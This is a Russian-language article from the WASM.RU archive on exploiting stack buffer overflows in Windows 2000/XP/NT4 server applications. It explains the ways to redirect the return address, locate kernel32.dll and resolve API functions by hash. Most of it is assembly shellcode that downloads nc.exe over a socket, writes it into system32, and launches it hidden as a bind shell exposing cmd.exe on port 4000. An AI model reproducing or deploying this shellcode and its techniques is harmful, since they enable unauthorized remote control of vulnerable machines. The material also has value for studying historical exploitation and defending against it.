Немного о эксплоитах… — Архив WASM.RU

Все статьи

Немного о эксплоитах… — Архив WASM.RU

"Хакерами мнят себя все или почти все программисты, - моментально объяснил Недосилов. - Признать вину хакеров - всё равно что расписаться в собственной некомпетентности."
Сергей Лукьяненко. "Фальшивые зеркала"

Пролистывая книгу "Секреты Windows 2000 хакеров", я наткнулся на интересное высказывание, цитирую: "... Редко бывает, что переполнение буфера в Windows можно применять на практике ...". Мда-а-а, глядя на данные всего лишь SecurityLab.Ru невольно встает вопрос о причинах благосостояния авторов, имеющих столь интересный послужной список, приведенный вначале вышеупомянутой книги...

Ну да бог с ними, с этими авторами, можт это переводчики не ахти как перевели... Содержание моей статьи не ново, скажу сразу и, думаю, ничего нового вы для себя не откроете её прочитав, особенно если вы неплохо знакомы с ассемблером и принципами переполнения стека ;).

Давайте представим, что мы имеем в наличии следующее: удалённая ситема win2k/XP/NT4, уязвимое серверное приложение с возможностью переполнения стека через strcpy() иль sprintf() и наше желание этой системой поуправлять от имени этого приложения.

Получение управления

Для начала рассмотрим несколько способов получения упревления.

Итак, у нас имеется: 2Гб адресного пространства, добрая часть которого ничем не занята; наш код в стеке уязвимого процесса и инструкцию "ret", которая даст коду возможность исполняться. Какой же адрес скормить этой команде? Самым простым и часто используемым является подстановка адреса одной из инструкций jmp esp/call esp, расположенных в какой-либо системной библиотеке. Однако, такой способ привязывает наш эксплоит к конкретной версии операционной системы с её сервиспаками, т.к. адреса загрузки dll-ок разняться от билда к билду, что не есть хорошо, но ничего не поделаешь...

Иногда бывает возможным приспособить эксплоит к конкретной версии самого приложения, например, когда последнее использует свои dll-ки. Тогда этот эксплоит будет работать в любой системе, но под определённую версию программы.

Стоит отметить, что инструкции "ret" можно скормить и адрес команд jmp REG/call REG, если указанный регистр содержит подходящее значение.

Часто при входе в функцию последняя устанавливает SEH-обработчик и сей факт иногда(а точнее очень редко) можно использовать для получения управления без jmp/call, а в качестве адреса возврата указать заведомо кривое значение, передача управления по которому вызовет исключение, передав управление на наш код.

А теперь давайте представим, что нам недоступны jmp/call (интересно, часто ли такое бывает ;)? ), до SEH-обработчика тоже не дотянуться. Что ж тогда? Можно в качестве адреса возврата подставить непосредственное значение смещения нашего кода, но, наверное, это самое худшее решение из всех возможных, т.к. в этом случае появляется куча проблем. Во-первых, никто не гарантирует, что размещение стека не будет иным у уязвимого потока, да и области памяти, отводимые под стек, отличаются в разных версиях операционных систем. Да ещё мы получаем досадное ограничение на размер самого кода, так как адрес возврата наверняка будет содержать ноль (например 0012FCXXh) до которого и отработает функция strcpy() иль sprintf(). Однако, тут можно воспользоваться тем фактом, что если содержимое буфера с нашим кодом никем не менялось, то можно передать управление в нужное место этого буфера, то есть:

int a = recv(...,&buffer[0],1024,...);

SomeFunction(&buffer[0])

int SomeFunction(char* p) {
	
	char dst[100];
	...
	strcpy(dst,p);
	...
} // <<< --- здесь мы получим управление и, возможно, буфер, 
  // указатель на который получила функция, не изменён или 
  // изменён незначительно...

Также можно поискать в памяти фрагмент кода похожий на:

	...
	add eax,???
	call [eax+16]
	...

и если регистр на момент ret'a содержит необходимое значение, то смело прописываем сие смещение в качестве операнда инструкции "ret".

Итак, посмотрим, какие варианты имеем:

  1. jmp esp/call esp
  2. jmp REG/call REG
  3. 3. SEH-обработчик
  4. 4. непосредственное смещение
  5. 5. смещения подходящих фрагментов

Получение адресов API-функций

Управление получили, теперь необходимо узнать адреса API-функций, так как без последних толку от кода, мягко говоря, маловато ;)). Рассмотрим 3 метода получения адреса загрузки kernel32.dll, по РЕ-заголовку которой, определим точки входа в нужные нам функции.

1.From LSD Team

Идея до боли проста - по РЕВ'у, в котором содержится список всех загруженных для процесса модулей, дотягиваемся до адреса загрузки kernel32

	mov eax, fs:[30h]  ; получим указатель на РЕВ
	mov eax, [eax+0Ch] ; получим указатель на PEB_LDR_DATA
	mov esi, [eax+1Ch] ; получим указатель на InitializationOrderModuleList
	lodsd			 
	mov eax, [eax+08h] ; eax -> VA kernel32.dll

Стоит отметить, что здесь используются недокументированные поля структуры РЕВ, однако размер этого кода, согласитесь, радует.

2. From Billy Belcebu

Идея заключается в следующем: берём конкретный адрес и начинаем сканировать адресное пространство на наличие РЕ-заголовка kernel32.dll:

 __1:
        cmp     byte ptr [ebp+K32_Limit],00h
        jz      WeFailed

        cmp     word ptr [esi],"ZM"
        jz      CheckPE

 __2:
        sub     esi,10000h	; к следующему региону
        dec     byte ptr [ebp+K32_Limit]
        jmp     __1

Чтож, метод не плох, но прожорлив до памяти, так как сюда нужно добавить SEH-обработчик, чтобы смело сканировать память, и проверку CheckPE которая отплёвывает всё, кроме kernel32.

3. From Sars

Чтоб не пересказывать, просто процитирую:

"
next_handler dd ?   ; указатель на следующую такую же запись
seh_handler  dd ?   ; адрес обработчика исключения

Последний указатель на следующую запись имеет маркировку 0FFFFFFFFh, а адрес последнего обработчика находится где-то в kernel. В общем, глядите в отладчик, мы нашли адрес последнего обработчика, а значит и адрес внутри kernel. Дальше выравним полученный адрес на 64 Кбайта, т.к. kernel грузится по адресу кратному этому значению. Теперь нам осталось найти Image Base пресловутого и небезызвестного кернела. Делается это путем поиска сигнатуры MZ и проверки на PE формат...

_SearchMZ: 
cmp word ptr [eax],5A4Dh
je _CheckMZ
sub eax,10000h
jmp _SearchMZ
_CheckMZ: 
mov edx,[eax+3ch]
cmp word ptr [eax+edx],4550h
jne _Exit

Так, теперь сравним слово по полученному адресу с 'MZ', если не совпало, то отнимем 64Кбайта, и повторим, если совпало, то проверим это заголовок PE или нет. Если да, то можно утверждать, что Image Base Kernel найден, если нет, то выйдем. Существует ли вероятность не найти Kernel? При использовании seh, навряд ли, по крайней мере, я этого не наблюдал при тестировании. В случае, когда адрес внутри Kernel берется со стека, заводится счетчик, чтоб не вылезти черт знает куда, но это описано в др. статьях. Для перестраховки можно завести свой обработчик исключений."

Всё, адрес загрузки kernel'а имеем, теперь определим точки входа API-функций, воспользовавшись методом от LSD Team с использованием простенькой и очень короткой функции хеширования (в отличие от crc32 у Billy Belcebu):

; воспользуемся услугами VC++ 6.0, чтобы получить
; ассемблерный листинг си-кода и подредактируем 
; его в нужных местах...

; предварительно вычисленные значения хешей

DD	99C95590h	; GetProcAddress			1
DD	195D7906h   ; ResumeThread			2
DD	1AF359D3h	; SetThreadContext		3
DD	0A6A6793Dh	; WriteProcessMemory		4
DD	0E9D81A3Bh	; VirtualAllocEx			5
DD	1AF2F9D3h	; GetThreadContext		6
DD	0B87742CBh	; CreateProcessA			7
DD	331ADDDCh	; LoadLibraryA			8
DD	0CFB0E506h	; CreateFileA			9
DD	2E750C90h	; WriteFile				10
DD	0D7629096h	; CloseHandle			11
DD	99046D19h	; WinExec				12
DD	0EC468F87h	; ExitProcess			13
DD    0EC6D8B57h	; OpenProcess			14

; unsigned int   *adr;
; unsigned char **sym;
; unsigned short *ord;
; adr = (unsigned int   *)RVA(ied->AddressOfFunctions);
; sym = (unsigned char **)RVA(ied->AddressOfNames);
; ord = (unsigned short *)RVA(ied->AddressOfNameOrdinals);

	mov	ecx, DWORD PTR [eax+28]
	mov	edi, DWORD PTR [eax+36]
	add	ecx, esi
	add	edi, esi
	mov	DWORD PTR _adr$[ebp], ecx
	mov	ecx, DWORD PTR [eax+32]
	add	ecx, esi

	push	14    ; кол-во функций

; for(;;)

	xor	ebx, ebx
	mov	DWORD PTR -12+[ebp], ecx
$L42780:

; unsigned int   h = 0;
; unsigned char *c = RVA(sym[idx]);

	mov	edx, DWORD PTR -12+[ebp]
	mov	ecx, esi
	xor	eax, eax
	add	ecx, DWORD PTR [edx]
$L42862:

; while(*c) h = ((h<<5)|(h>>27)) + *c++;
; Как заверяют авторы, эта функция не дала
; ни одной коллизии на 50 000 именах функций,
; чего нам с лихвой хватит...

	cmp	BYTE PTR [ecx], bl
	je	SHORT $L42787
	mov	edx, eax
	shr	edx, 27					; 0000001bH
	shl	eax, 5
	or	edx, eax
	movzx	eax, BYTE PTR [ecx]
	add	eax, edx
	inc	ecx
	jmp	SHORT $L42862
$L42787:

; for (int j=0; j < countfunc; j++) {

	push	esi
	mov	esi, DWORD PTR [ebp+4]
	mov	DWORD PTR -4+[ebp], esi
	pop	esi
	mov	DWORD PTR _j$42788[ebp], ebx

$L42789:

; if(mass[j] == h) {

	mov	edx, DWORD PTR -4+[ebp]
	cmp	DWORD PTR [edx], eax
	je	SHORT $L42855
	add	DWORD PTR -4+[ebp], 4
	inc	DWORD PTR _j$42788[ebp]
	cmp	DWORD PTR _j$42788[ebp], 14
	jnz	SHORT $L42789
	jmp	SHORT $L42791

$L42855:

; mass[j] = RVA(adr[ord[idx]]);

	push	edx
	movzx	eax, WORD PTR [edi]
	mov	edx, DWORD PTR _adr$[ebp]
	mov	eax, DWORD PTR [edx+eax*4]
	add	eax, esi
	pop	edx
	mov	DWORD PTR [edx], eax
	dec	DWORD PTR [esp]
	jz	$L42856

$L42791:

	add	DWORD PTR -12+[ebp], 4
	add	edi,2
	jmp	SHORT $L42780

$L42856:

Как видите, простор для оптимизации есть...

Удалённое управление

После того, как получены адреса необходимых функций, нам нужно как-то организовать удалённое управление системой. Сие можно сделать разными способами, мы же рассмотрим самый простой - копирование утилиты, которая сделает всю работу за нас:

Dllname	DB	'ws2_32.dll',0
szncexe	DB	'С:\winnt\system32\nc.exe',0 
szcmdline	DB	'nc.exe -L -n -p 4000 cmd.exe',0

; HINSTANCE hBase = LoadLibrary("ws2_32.dll");

	mov	eax, DWORD PTR [ebp]	; ebp - > ImageBase нашего кода
	add	eax, str01			; + смещение строки
	push	eax				; offset "ws2_32.dll"
	mov	eax, DWORD PTR [ebp+4]
	call	DWORD PTR [eax+15*4]	; call LoadLibrary

	mov	edi, eax
	xor	esi, esi

; mass[idx] = (int)GetProcAddress(hBase, name[i++]);

$L42797:

	mov	ebx, DWORD PTR [ebp]
	add	ebx, om2			; прибавим смещение таблицы,
						; в которой содержаться указатели
						; на имена функций
	mov	eax, DWORD PTR [ebx+esi]
	add	eax, DWORD PTR [ebp]
	push	eax
	push	edi
	mov	eax, DWORD PTR [EBP+4]
	call	DWORD PTR [eax+8*4]
	mov	DWORD PTR [ebx+esi], eax ; Заменим соответствующий указатель на имя
						 ; адресом этой функции	
	add	esi, 4
	cmp	esi, 32		; для всех 8-ми функций определили  адреса?
	jl	SHORT $L42797

; WSAStartup(0x0202, &wd);

	lea	eax, DWORD PTR _wd$[ebp]
	push	eax
	push	514						; 00000202H
	mov	eax, DWORD PTR [ebp+4]
	call	DWORD PTR [eax+5*4]		; call WSAStartup

; SOCKET sock = socket(AF_INET, SOCK_STREAM, 0);

	push	0
	push	1
	push	2
	mov	eax,  DWORD PTR [ebp+4]
	call	DWORD PTR [eax+6*4]		; call socket

; sockaddr_in			local_addr;
; #define port			7777
; #define SizeOfProgram 	58*1024
; local_addr.sin_family	= AF_INET;
; local_addr.sin_port	= htons(port);

	push	7777					; 00001e61H
	mov	DWORD PTR _sock$[ebp], eax
	mov	WORD PTR _local_addr$[ebp], 2
	mov	eax, DWORD PTR [ebp+4]
	call	DWORD PTR [eax+7*4]		; call htons
	mov	WORD PTR _local_addr$[ebp+2], ax

; local_addr.sin_addr.s_addr	= 0;
; bind(sock, (sockaddr *) &local_addr, sizeof(local_addr));

	lea	eax, DWORD PTR _local_addr$[ebp]
	push	16					; 00000010H
	push	eax
	push	DWORD PTR _sock$[ebp]
	mov	DWORD PTR _local_addr$[ebp+4], 0
	mov	eax, DWORD PTR [ebp+4]
	call	DWORD PTR [eax+0*4]		; bind

; listen(sock, 0x100);

	push	1					; 01H
	push	DWORD PTR _sock$[ebp]
	mov	eax, DWORD PTR [ebp+4]
	call	DWORD PTR [eax+1*4]		; listen

; sockaddr_in	client_addr;
; int client_addr_size = sizeof(client_addr);
; accept(sock, (sockaddr *) &client_addr, &client_addr_size);

	lea	eax, DWORD PTR _client_addr_size$[ebp]
	mov	DWORD PTR _client_addr_size$[ebp], 16	; 00000010H
	push	eax
	lea	eax, DWORD PTR _client_addr$[ebp]
	push	eax
	push	DWORD PTR _sock$[ebp]
	mov	eax, DWORD PTR [ebp+4]
	call	DWORD PTR [eax+2*4]		; accept

; Выделим память под буфер, в который будем помещать кусочки nc.exe...

; char *tempbuff=(char*)VirtualAllocEx(0,0,SizeOfProgram,MEM_COMMIT, PAGE_READWRITE);
	xor	ebx,ebx
	push	4
	push	esi
	mov	esi, 59392				; 0000e800H
	push	esi
	push	ebx
	push	ebx						;
	mov	eax, DWORD PTR [ebp+4]
	call	DWORD PTR [eax+12*4]	; call VirtualAllocEx
	mov	DWORD PTR _tempbuff$[ebp], eax

; for(int j = 0; j < SizeOfProgram; j+=1024)

	mov	DWORD PTR _j$[ebp], ebx
	mov	edi, 1024				; 00000400H
$L42819:

; recv(sock, &tempbuff[j], 1024, 0);

	mov	eax, DWORD PTR _j$[ebp]
	mov	ecx, DWORD PTR _tempbuff$[ebp]
	push	ebx
	add	eax, ecx
	push	edi
	push	eax
	push	DWORD PTR _sock$[ebp]
	mov	eax, DWORD PTR [ebp+4]
	call	DWORD PTR [eax+3*4]		; call recv
	add	DWORD PTR _j$[ebp], edi
	cmp	DWORD PTR _j$[ebp], esi
	jl	SHORT $L42819

; CreateFile("С:\winnt\system32\nc.exe", FILE_GENERIC_WRITE, FILE_SHARE_READ, 
; 	NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);

	push	ebx
	push	128					; 00000080H
	push	1
	push	ebx
	push	1
	push	1179926					; 00120116H
	push	0
	mov	eax, DWORD PTR [ebp+4]
	call	DWORD PTR [eax+16*4]	;CreateFileA

; WriteFile(hFile, tempbuff, SizeOfProgram, NULL, NULL);

	push	ebx
	push	ebx
	push	esi
	mov	edi, eax
	push	DWORD PTR _tempbuff$[ebp]
	push	edi
	mov	eax, DWORD PTR [ebp+4]
	call	DWORD PTR [eax+17*4]		; WriteFile

; CloseHandle(hFile);

	push	edi
	mov	eax, DWORD PTR [ebp+4]
	call	DWORD PTR [eax+18*4]		; CloseHandle

; WinExec("nc.exe -L -n -p 4000 cmd.exe", SW_HIDE);

	push	ebx
	push	0
	mov	eax, DWORD PTR [ebp+4]
	call	DWORD PTR [eax+19*4]		; WinExec

; ExitProcess(0);

После этого нужно запустить программу, которая на 4000 порт перешлёт утилиту nc.exe пакетами по 1024 байт...

После выполнения функции WinExec("nc.exe -L -n -p 4000 cmd.exe", SW_HIDE) можно коннектиться к удалённой системе на 4000 порт и наслаждаться общением с её командным интерпретатором ;)).

Мной использовалось и вам советуется почитать:

  1. Отличный материал от LSD Team найдёте на wasm.ru
  2. Не менее хороший от Billy Belcebu
  3. Статья Sars'a
  4. Утилита netcat.exe(nc.exe)

2002-2013 (c) wasm.ru